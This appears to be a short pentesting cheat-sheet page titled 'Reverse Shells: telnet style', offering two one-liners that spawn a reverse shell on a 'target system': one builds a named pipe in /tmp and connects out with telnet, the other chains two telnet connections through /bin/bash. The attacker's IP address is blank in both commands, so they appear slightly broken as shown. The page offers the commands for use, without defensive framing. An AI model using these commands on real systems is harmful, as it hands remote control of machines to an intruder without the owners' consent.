Last Updated:

Reverse Shells: telnet style

Reverse Shells: telnet style

In these reverse shell scenarios, your IP is and your port is 1234. Telnet should be piped through an encrypted tunnel, unless you don't mind people snooping on you.

Telnet is less and less common

Telnet isn't often installed by default any more. But, if it does exist on your target system, here are two one liners you can use to spawn a reverse shell with telnet.

Telnet reverse shell using sockets:

rm -rf /tmp/p; mknod /tmp/p p && telnet 1234 0/tmp/p

Straight-forward telnet connect-back shell:

telnet 1234 | /bin/bash | telnet 1235